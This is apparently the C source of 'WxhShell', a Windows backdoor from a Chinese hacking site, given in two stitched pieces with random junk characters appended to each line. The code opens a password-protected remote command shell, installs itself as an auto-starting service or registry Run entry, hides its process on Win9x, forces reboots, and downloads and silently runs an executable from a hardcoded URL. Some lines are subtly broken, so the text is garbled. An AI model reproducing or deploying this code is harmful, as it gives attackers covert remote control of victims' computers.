    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); J#h2~Hz!  
    if(Boot(SHUTDOWN)) ^I=W<  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ;D}8acQ  
    else { {MP8B'r-6  
    closesocket(wsh); lSGtbSyDI  
    ExitThread(0); pCXceNFo  
    } +Bg$]~ T  
    break; kD&% 7Vz  
    } 42*y27Dtm  
  // 获取shell :ud<"I]:  
  case 's': { @>>8CU^~  
    CmdShell(wsh); Y?ADM(j  
    closesocket(wsh); +#%#QL  
    ExitThread(0); |mx)W}  
    break; 9 7/"5i9  
  } =:)p\{B  
  // 退出 }HO3D.HE^  
  case 'x': { C`qo  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); #&fi[|%X$  
    CloseIt(wsh); b.h:~ATgN  
    break; Gjhpi5?%8  
    } 'R'P^  
  // 离开 RO>3U2  
  case 'q': { uY{zZ4iw  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); }BTK+Tk8  
    closesocket(wsh); 0;Lt  
    WSACleanup(); ,8=`Y9#  
    exit(1); /WvF}y  
    break; m=g\@&N  
        } 1(S0hm[ov  
  } W 9i}w&  
  } %2H0JXKa,  
?8ZOiY(  
  // 提示信息 #b u]@/  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); <OX_6d*@  
} ( (.b&  
  } x;Qs_"t];3  
OZDd  
  return; D<V[:~-o  
} Y^Of  
~3f`=r3/.  
// shell模块句柄  fP+RuZ  
int CmdShell(SOCKET sock) 4b\R@Knu  
{ d@sAB1:  
STARTUPINFO si; JQi+y;  
ZeroMemory(&si,sizeof(si)); C)x>/Qr~  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 47S1mxur  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; EC`!&Yp+  
PROCESS_INFORMATION ProcessInfo; NOC8h\s}(  
char cmdline[]="cmd"; rM?O2n  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); :6}Zo  
  return 0; 9'$\GN{0  
} 0m3:!#\  
mP!=&u fcU  
// 自身启动模式 kGz0`8U Ru  
int StartFromService(void) s5`CV$bz  
{ !hMD>B2Z  
typedef struct eo#2n8I>=1  
{ j{8;5 ?x  
  DWORD ExitStatus; Th\w#%'N  
  DWORD PebBaseAddress; U?@ s`.  
  DWORD AffinityMask; Ff eX;pi  
  DWORD BasePriority; D8OW|wVE  
  ULONG UniqueProcessId; 71S~*"O0f  
  ULONG InheritedFromUniqueProcessId; %S`ygc}|  
}   PROCESS_BASIC_INFORMATION; hg2a,EU\Z  
g2Hz[C(  
PROCNTQSIP NtQueryInformationProcess; A7`+XqG  
2F}D?] A  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; vkR,Sn  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; M%yeI{m  
?* {Vn5aX{  
  HANDLE             hProcess; x=S8UKUx  
  PROCESS_BASIC_INFORMATION pbi; Z=[qaJ{]  
r$8(Q'  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); V4["+Y  
  if(NULL == hInst ) return 0; n]3Lqe;  
g-C)y 06  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); f9%M:cl  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); DB=^Z%%Z  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); }s@ i  
\!51I./Q/  
  if (!NtQueryInformationProcess) return 0; iBqxz:PHN(  
E Pd9'9S  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); )ajF ca@v  
  if(!hProcess) return 0; h!~Qyb>W  
v=pkze  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; bZ5cKQ\6  
zfsGf 'U  
  CloseHandle(hProcess); =qJlSb  
No\3kRB4bi  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 5bj9S  
if(hProcess==NULL) return 0; r_"=DLx6  
U } K]W>Z  
HMODULE hMod; G?,b51"  
char procName[255]; <MQTOz oj  
unsigned long cbNeeded; JEL.*[/  
>s%&t[r6  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 6_=t~9sY  
B4#XQ-  
  CloseHandle(hProcess); J<9;Ix8R  
ov 'g'1}  
if(strstr(procName,"services")) return 1; // 以服务启动 >h Rq  
t}Q PPp y  
  return 0; // 注册表启动 {Mv$~T|e7  
} 2Wx~+@1y  
-f-@[;D  
// 主模块 Ya*<me>`  
int StartWxhshell(LPSTR lpCmdLine) -d*zgP  
{ lZ*V.-D^]  
  SOCKET wsl; S^c; i  
BOOL val=TRUE; WV8vDv1jt  
  int port=0; n:8<Ijrh  
  struct sockaddr_in door; {<P{uH\l  
U =i=E}'  
  if(wscfg.ws_autoins) Install(); H %bXx-  
(i.7\$4  
port=atoi(lpCmdLine); /5wIbmz@I  
)azK&f@tR|  
if(port<=0) port=wscfg.ws_port; W<c95QD.  
|?gO@?KDZ  
  WSADATA data; N<N uBtkA  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; NI^jQS M]  
}2]m]D@%7  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ,]LsX"u  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); &y+)xe:&S  
  door.sin_family = AF_INET; r.ib"W#4  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); U)Jwo O  
  door.sin_port = htons(port); J=?P`\h  
xt zjFfq  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { @Rw]boC  
closesocket(wsl); jU}iQM  
return 1; L!LhH  
} K} ) w  
B.#.gB#C  
  if(listen(wsl,2) == INVALID_SOCKET) { GlOSCJZ  
closesocket(wsl); KBg5 _+l  
return 1; QFg{.F?3q>  
} <HfmNhI85(  
  Wxhshell(wsl); <-(n48  
  WSACleanup(); oXgi#(y  
([ODmZHv  
return 0; h|{DIG3  
hRI?>an  
} =,J-D6J?  
nr?|!gj  
// 以NT服务方式启动 ec&K}+p@  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) l Zz%W8"  
{ 0..]c-V(G  
DWORD   status = 0; 3Hi[Y[O`%P  
  DWORD   specificError = 0xfffffff; oIv\Xdc81  
|@Ze{\  
  serviceStatus.dwServiceType     = SERVICE_WIN32; z5 g4+y,  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; N Wf IRL  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; nc9sfH3  
  serviceStatus.dwWin32ExitCode     = 0; ~N]pB]/][  
  serviceStatus.dwServiceSpecificExitCode = 0; gkFw=Cd  
  serviceStatus.dwCheckPoint       = 0; 3y}8|ML  
  serviceStatus.dwWaitHint       = 0; E#VF7 9L  
2I>`{#fV  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); r:U/a=V  
  if (hServiceStatusHandle==0) return; MWI7u7{  
_-:CU  
status = GetLastError();  jAxrU  
  if (status!=NO_ERROR) pnp)- a*7  
{ ZkmY pi[  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; *q*$%H  
    serviceStatus.dwCheckPoint       = 0; ?_j]w%Hz  
    serviceStatus.dwWaitHint       = 0; 1xDh[:6  
    serviceStatus.dwWin32ExitCode     = status; q+U&lw|"w  
    serviceStatus.dwServiceSpecificExitCode = specificError; R*l3 zn>  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 1'!%$D  
    return; sP@7%p>wt  
  } (2(y9r*1  
#A 7|=E  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; jL0=a.;  
  serviceStatus.dwCheckPoint       = 0; BV)) #D9  
  serviceStatus.dwWaitHint       = 0; vEc<|t  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); c+ukVn`r  
} Y(;u)uN_  
$Ned1@%[  
// 处理NT服务事件,比如:启动、停止 >Q2kXwN  
VOID WINAPI NTServiceHandler(DWORD fdwControl) giHqc7-PaX  
{  ay,"MJ2  
switch(fdwControl) 3a0% J'  
{ K6 c[W%Va  
case SERVICE_CONTROL_STOP: E]0Qz? W  
  serviceStatus.dwWin32ExitCode = 0; `4-m$ab  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 9cQ;h37J>  
  serviceStatus.dwCheckPoint   = 0; u,JUMH]@  
  serviceStatus.dwWaitHint     = 0; }$` PZUw>  
  { cuh Z_l  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); }oL l? L  
  } VK% j45D`  
  return; J]5ZWo%  
case SERVICE_CONTROL_PAUSE: 4"s/T0C  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 9.wZhcqqU  
  break; FyqsFTh_  
case SERVICE_CONTROL_CONTINUE: P-\65]`C  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 3'!*/UnU  
  break; N6BEl55 &  
case SERVICE_CONTROL_INTERROGATE: vu~7Z;y(<j  
  break; ot,=.%O  
}; nq:'jdY5|  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); KT0Pmpp5  
} l{Xy %8  
T'-kG"lb  
// 标准应用程序主函数 ;~Gez;AhK  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) T\ [CQO  
{ W?yGV{#V(=  
AWDy_11Nm  
// 获取操作系统版本  @7J;}9E  
OsIsNt=GetOsVer(); yL_ \&v  
GetModuleFileName(NULL,ExeFile,MAX_PATH); M;sT+Z{  
6o]j@o8V  
  // 从命令行安装 _xGC0f (  
  if(strpbrk(lpCmdLine,"iI")) Install(); +J3Y}A4W3X  
]RxWypA`  
  // 下载执行文件 ]\F}-I[  
if(wscfg.ws_downexe) { #c(BBTuX  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) B:6VD /qC  
  WinExec(wscfg.ws_filenam,SW_HIDE); 0,wmEV!)  
} X nB-1{a1  
1"No~/_  
if(!OsIsNt) { I+rLKGZC  
// 如果时win9x,隐藏进程并且设置为注册表启动 fv:&?gc  
HideProc(); KeWIC,kq  
StartWxhshell(lpCmdLine); Ee^>Q*wahw  
} zYEb#*Kar  
else <f;X s(  
  if(StartFromService()) |N0RBa4%  
  // 以服务方式启动 A\v]ZN4  
  StartServiceCtrlDispatcher(DispatchTable); [Uw3.CVh  
else #kp +e)F  
  // 普通方式启动 o`.5NUn  
  StartWxhshell(lpCmdLine); %$F_oO7"  
X<d`!,bn@  
return 0; [0H]L{yV  
} (H-kWT  
BOme`0A  
?>q5Abp[  
Hm]\.ZEy  
=========================================== z q@"qnr  
9`Xr7gmQf  
DI=?{A  
.50ql[En  
W];l[D<S*  
YXIAVSnr  
" -o+; e3#  
=QhK|C!$A  
#include <stdio.h> vAzSpiv-  
#include <string.h> Z`>m   
#include <windows.h> AQ)J|i  
#include <winsock2.h> #0c;2}D  
#include <winsvc.h> lI;ACF^  
#include <urlmon.h> Tua#~.3}J  
}Io5&ww:U  
#pragma comment (lib, "Ws2_32.lib") eV\VR !!i  
#pragma comment (lib, "urlmon.lib") mA4]c   
*rmM2{6  
#define MAX_USER   100 // 最大客户端连接数 S'=}eeG  
#define BUF_SOCK   200 // sock buffer 7w.9PNhy  
#define KEY_BUFF   255 // 输入 buffer hlGrnL  
RP%FMb}nt  
#define REBOOT     0   // 重启 LUEZqIf  
#define SHUTDOWN   1   // 关机 [{6fyd;  
:_kZkWD5  
#define DEF_PORT   5000 // 监听端口 bdHHOpXM  
Q@/Z~xw"'I  
#define REG_LEN     16   // 注册表键长度 |)%;B%  
#define SVC_LEN     80   // NT服务名长度 U4h5K}j4  
VVk8z6 W  
// 从dll定义API U<wM#l P|Z  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); t>eeOWk3  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); Tb!jIe  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 7Jn%c<s  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); %jxeh.B3B  
5RR4jX]  
// wxhshell配置信息 ageTv/  
struct WSCFG { qb +Gjgp  
  int ws_port;         // 监听端口 g])iU9)8  
  char ws_passstr[REG_LEN]; // 口令 ,OBJ>_5  
  int ws_autoins;       // 安装标记, 1=yes 0=no .DHQJ|J-1  
  char ws_regname[REG_LEN]; // 注册表键名 cg^=F_h  
  char ws_svcname[REG_LEN]; // 服务名 6b\JD.r*{  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 4oN*J +"=+  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息  RAF do  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 c1 Hp  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 2!GyQ@&[W  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" R,m|+[sl  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ]p8<Vluv  
zG\:#,9  
}; D/puK  
&S8,-~U  
// default Wxhshell configuration ["15~9  
struct WSCFG wscfg={DEF_PORT, a6 w'.]m  
    "xuhuanlingzhe", 9z7rv,  
    1, HrHtA]  
    "Wxhshell", f'O cW* t  
    "Wxhshell", ov,[F< GT  
            "WxhShell Service", &)!4rABn  
    "Wrsky Windows CmdShell Service", _J>!K'Dz  
    "Please Input Your Password: ", .Xk#Cwm'  
  1, a$$aM2.2  
  "http://www.wrsky.com/wxhshell.exe", Dmr3r[  
  "Wxhshell.exe" '?d5L+9  
    }; r+,JM L   
t_ id/  
// 消息定义模块 d?N[bA  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; MC%!>,tC  
char *msg_ws_prompt="\n\r? for help\n\r#>"; *`V r P  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; R[}fr36>/  
char *msg_ws_ext="\n\rExit."; <STE~ZmO  
char *msg_ws_end="\n\rQuit."; %Q zk aXJ  
char *msg_ws_boot="\n\rReboot..."; ,Gy2$mglB  
char *msg_ws_poff="\n\rShutdown..."; c6tH'oV  
char *msg_ws_down="\n\rSave to "; K/z2.Npn  
Pp`[E/ qj4  
char *msg_ws_err="\n\rErr!"; CB`GiH/j  
char *msg_ws_ok="\n\rOK!"; :]9CdkaU  
.-GC,&RO  
char ExeFile[MAX_PATH]; S>y}|MG  
int nUser = 0; iO7s zi  
HANDLE handles[MAX_USER]; lCGEd  3  
int OsIsNt; %:\GYs(Y  
A}_0iwG  
SERVICE_STATUS       serviceStatus; VbX$\Cs:  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; EXti  
QI`&N(n  
// 函数声明 uLrZl0%HT~  
int Install(void); >9t+lr1   
int Uninstall(void); a"phwCc"%  
int DownloadFile(char *sURL, SOCKET wsh); Z5,"KhB]  
int Boot(int flag); JdX!#\O  
void HideProc(void); t!o=-k  
int GetOsVer(void); K9) |b`E=  
int Wxhshell(SOCKET wsl); .7> g8  
void TalkWithClient(void *cs); bZu2.?{  
int CmdShell(SOCKET sock); tkW7wP;  
int StartFromService(void); 9 !s)52qt  
int StartWxhshell(LPSTR lpCmdLine); .Zr3!N.t  
fHXz{,?/w  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); U _~r0  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 8}?w %FsN#  
!&pk^VFl+  
// 数据结构和表定义  jRhRw;  
SERVICE_TABLE_ENTRY DispatchTable[] = "89L^I  
{ ESnir6HoU  
{wscfg.ws_svcname, NTServiceMain}, >w#&fd  
{NULL, NULL} %FLe@.Ep{D  
}; ()zn8_z  
~z7Fz"o<  
// 自我安装 B !Z~jT  
int Install(void) Pa"[&{:  
{ -gpHg  
  char svExeFile[MAX_PATH]; M\r=i>(cu  
  HKEY key; <=@6UPsn2  
  strcpy(svExeFile,ExeFile); 8$38>cGY^  
cX|(/h,W/  
// 如果是win9x系统,修改注册表设为自启动 jm,:jkr  
if(!OsIsNt) { :b<<  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { C^*}*hYk$  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); -+kTw06_C  
  RegCloseKey(key); @-.Tgpe@a  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { L 7l"*w(  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 2C#b-Y 1~N  
  RegCloseKey(key); 56H~MnX  
  return 0; L6J.^tpO  
    } 0[ZwtfL1  
  } jV(b?r)eT{  
} `/9&o;qM   
else { a#m T@l\  
bM"d$tl$?'  
// 如果是NT以上系统,安装为系统服务 |j}%"wOh  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 7A{,)Y/w ^  
if (schSCManager!=0) RU\MT'E>(  
{ 9a]h;r8,9z  
  SC_HANDLE schService = CreateService rDC=rG  
  ( #xt-65^  
  schSCManager, oPrK{flm  
  wscfg.ws_svcname, D9\ EkX  
  wscfg.ws_svcdisp, r_pZK(G%  
  SERVICE_ALL_ACCESS, /<CgSW}  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , o^+g2;Ro  
  SERVICE_AUTO_START, T)MZ`dM  
  SERVICE_ERROR_NORMAL, 5wb R}`8  
  svExeFile, {emym$we  
  NULL, 7kmd.<  
  NULL, z W*Z  
  NULL, n(j5dN>]  
  NULL, /,JL \b  
  NULL W.?EjEx  
  ); {r_x\VC=p  
  if (schService!=0) 3Cg0^~?6-  
  { eV(   
  CloseServiceHandle(schService); j "e]Ui  
  CloseServiceHandle(schSCManager); Og2G0sWRf  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); -"d&Ow7o  
  strcat(svExeFile,wscfg.ws_svcname); ~[:Cl  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { AIt;~x  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ABU~V+'2  
  RegCloseKey(key); Ev,b5KelD  
  return 0; SFVqUg3"Z  
    } #F ;@Qi3z  
  } ]".SW5b_  
  CloseServiceHandle(schSCManager); NH!x6p]n  
} d1u6*&@lf  
} B=|m._OL]n  
5wa!pR\c  
return 1; (gF{S* `  
} >?r8D48`  
U2*kuP+n  
// 自我卸载 !^qpV7./l  
int Uninstall(void) 8GT4U5c ;  
{ U] av{}U  
  HKEY key; <MgC7S2I  
C ,#D4  
if(!OsIsNt) { U_@Dn[/:  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 1_5]3+r_U-  
  RegDeleteValue(key,wscfg.ws_regname); AQgm]ex<  
  RegCloseKey(key); 6:AZZF1  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { aa/_:V@$~  
  RegDeleteValue(key,wscfg.ws_regname); 9bu1Ax1M  
  RegCloseKey(key); KvtJ tql;  
  return 0; 4/ Xu,pT  
  } 7>xfQ  
} NJPp6RZ%  
} :KBy(}V  
else { SVqKG+{My  
;!pJ %p0Sc  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ; nYR~~  
if (schSCManager!=0) oU)3du   
{ mLH,6rO9  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); `WlQ<QEi  
  if (schService!=0) @_Es|(4  
  { :djbZ><  
  if(DeleteService(schService)!=0) { fU ^5Dl  
  CloseServiceHandle(schService); c!J|vRA5  
  CloseServiceHandle(schSCManager); FUs57 V  
  return 0; k5eTfaxl  
  } 3'6by!N,d  
  CloseServiceHandle(schService); }Ih5`$   
  } Mb(hdS90  
  CloseServiceHandle(schSCManager); YAYwrKt  
} gCv[AIE_m  
} Y&1Yc)*O  
EL;OYW(  
return 1; |jyD@Q,4  
} %QFeQ(b/(  
KBwY _  
// 从指定url下载文件 ?EA&kZR]  
int DownloadFile(char *sURL, SOCKET wsh) /|,:'W%U  
{ la 89>pF  
  HRESULT hr; 06>+loBG  
char seps[]= "/"; A5%cgr% 6  
char *token; .MW/XnCYs4  
char *file; /[>zFYaQ  
char myURL[MAX_PATH]; Ct386j><  
char myFILE[MAX_PATH]; _QiGrC  
~uh,R-Q$  
strcpy(myURL,sURL); hXQo>t-$  
  token=strtok(myURL,seps); \\$wg   
  while(token!=NULL) okLhe F  
  { !=(M P:  
    file=token; 48[b1#q]  
  token=strtok(NULL,seps); js)I%Z  
  } tz_WxOQ0  
./Wi(p{F  
GetCurrentDirectory(MAX_PATH,myFILE); 0m'tPFQ|  
strcat(myFILE, "\\"); mM-7 j z  
strcat(myFILE, file); !E9A=u{  
  send(wsh,myFILE,strlen(myFILE),0); <<+Hs/ ]  
send(wsh,"...",3,0); vff`Xh>k(  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); Q7SRf$4  
  if(hr==S_OK) +3k#M[Bn}  
return 0;  ){xMMQ5  
else 4Q^i"jT  
return 1;  @po|07  
6|ENDd[  
} 9H,Ec,.  
n^k Uu2g|  
// 系统电源模块 VMV~K7%0  
int Boot(int flag) T``~YoIdz  
{ yNN_}9  
  HANDLE hToken; 7A4 6?kfu  
  TOKEN_PRIVILEGES tkp; )*_n/^m  
WkK.ON^  
  if(OsIsNt) { ?8R  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); {b90c'8?a  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); IC@-`S#F  
    tkp.PrivilegeCount = 1; :qO)^~x  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; mKhlYV n  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); O - N> X  
if(flag==REBOOT) { {ZD'l5jU  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) Dp" xO<PE2  
  return 0; pQOT\- bD  
} $Qq5Fx9kU  
else { G~`nLC^Y  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) J)a^3>  
  return 0; !UW{xHu  
} h|Udw3N1L  
  } =%$BFg1a(  
  else { _U/CG<n  
if(flag==REBOOT) { ICXz(?a  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) /d]{ #,k  
  return 0; Ikj_ 0/%F  
} %2`geN<  
else { <%Afa#  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ,.PmH.zjmR  
  return 0; rH5'+x K  
} PvB-Cqc  
} Y)OTvKrOA  
Z*Jp?[##  
return 1; 8nOent0a  
} 0@*EwI  
M8iI e:{ c  
// win9x进程隐藏模块 l/o 4bkV  
void HideProc(void) agMI$  
{ O^yD b  
'*,P33h9<!  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); u &s>UkR  
  if ( hKernel != NULL ) (D rDWD4_  
  { k>dzeH  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); <zE~N~;  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);  MuCnBx  
    FreeLibrary(hKernel); Z=\wI:TY1  
  } H@!kgaNF  
gg%9EJpP  
return; GMRFZw_M  
} (&t8.7O  
5/"&C-t  
// 获取操作系统版本 lL{1wCsl  
int GetOsVer(void) 3a\.s9A "  
{ zM*PN|/%sH  
  OSVERSIONINFO winfo; 3 h~U)mg  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); _/ Uer }  
  GetVersionEx(&winfo); CEr*VsvjsU  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) /~B \1  
  return 1; ss>p  
  else dl&402  
  return 0; n.\|NR'v  
} 4+j:]poYG{  
JK@" &  
// 客户端句柄模块 1ZK~i  
int Wxhshell(SOCKET wsl) _pS!sY~d  
{ n:d7 Tv1Z8  
  SOCKET wsh; c (Gl3^  
  struct sockaddr_in client; ^~:&/0  
  DWORD myID; `tb@x ^  
!-gjA@Pk  
  while(nUser<MAX_USER) :VEy\ R>W  
{ >UUT9:,plA  
  int nSize=sizeof(client); y~AF|Dk=  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 'HdOW[3o  
  if(wsh==INVALID_SOCKET) return 1; O=LiCSNEV  
>'GQB  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); UAi]hUq  
if(handles[nUser]==0) d/4kF  
  closesocket(wsh); tf+5@Zf]4  
else [hT|]|fJS;  
  nUser++; hi(u L>\  
  } NDv_@V(D  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); [C TR8  
_g#v*7o2@  
  return 0; Rw9 *!<Izt  
} uNcE_<  
[)&(zJHX  
// 关闭 socket -P5M(Rt  
void CloseIt(SOCKET wsh) xf?6_=  
{ ^.f`6 6/  
closesocket(wsh); }1/`<m  
nUser--; 6+;B2;*3  
ExitThread(0); PN&;3z Z  
} z]J pvw`p  
O)4P)KAO<  
// 客户端请求句柄 vKvT7Zxc  
void TalkWithClient(void *cs) *`HE$k!  
{ DY~zi  
tLzX L *  
  SOCKET wsh=(SOCKET)cs; Pd[&&!+gV  
  char pwd[SVC_LEN]; QNzx(IV@  
  char cmd[KEY_BUFF]; Q41eYzAi  
char chr[1]; HAi'0%"  
int i,j; ]1XJQW@gF  
F/qx2E$*wo  
  while (nUser < MAX_USER) { XZk?aik}`  
oNfNe^/T  
if(wscfg.ws_passstr) { ?\l@k(w4[x  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); GGY WvGE+  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); vV?=r5j  
  //ZeroMemory(pwd,KEY_BUFF); 8@f=GJf  
      i=0; ?+WSYg0  
  while(i<SVC_LEN) { > ,v,4,c  
re `B fN  
  // 设置超时 kZsat4r  
  fd_set FdRead; MJ )aY2  
  struct timeval TimeOut; fs=W(~"  
  FD_ZERO(&FdRead); \R0&*cnmo  
  FD_SET(wsh,&FdRead); \2K_"5  
  TimeOut.tv_sec=8; zoU-*Rs6  
  TimeOut.tv_usec=0; 9? #pqw  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); Vf'r6Rf  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); K`25G_Y3@  
.\?)O+J!  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 'WA]DlO  
  pwd=chr[0]; *c[X{  
  if(chr[0]==0xd || chr[0]==0xa) { XSu9C zx&I  
  pwd=0; Wn9b</ tf  
  break; S$Cht6m  
  } &D|wc4+  
  i++; 16p$>a<6  
    } {bSi3oI  
B[]v[q<  
  // 如果是非法用户,关闭 socket ?G#T6$E8  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 5DHFxym'  
} /kAu&}  
P7||d@VW,  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); AvN\^ &G  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); V ?10O  
fFHT`"bD:  
while(1) { ~;f,Ad`Q  
2 f8Cs$Opb  
  ZeroMemory(cmd,KEY_BUFF); fh1rmet&Ts  
B^z3u=ll  
      // 自动支持客户端 telnet标准   d0`5zd@S  
  j=0; pm*6&,  
  while(j<KEY_BUFF) { +{$NN  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); d`z),A=  
  cmd[j]=chr[0]; O=HT3gp&  
  if(chr[0]==0xa || chr[0]==0xd) { .[ Z<r>  
  cmd[j]=0; c&+p{hH+  
  break; X\I"%6$  
  } drJ<&1O  
  j++; ~olta\|  
    } <V}^c/c!  
s4$Z.xwr  
  // 下载文件 BJM_kKH  
  if(strstr(cmd,"http://")) { oM=Ltxv}  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); O;N QJ$^bI  
  if(DownloadFile(cmd,wsh)) 2VNMz[W'  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); v$O%U[e<  
  else \` |*i$  
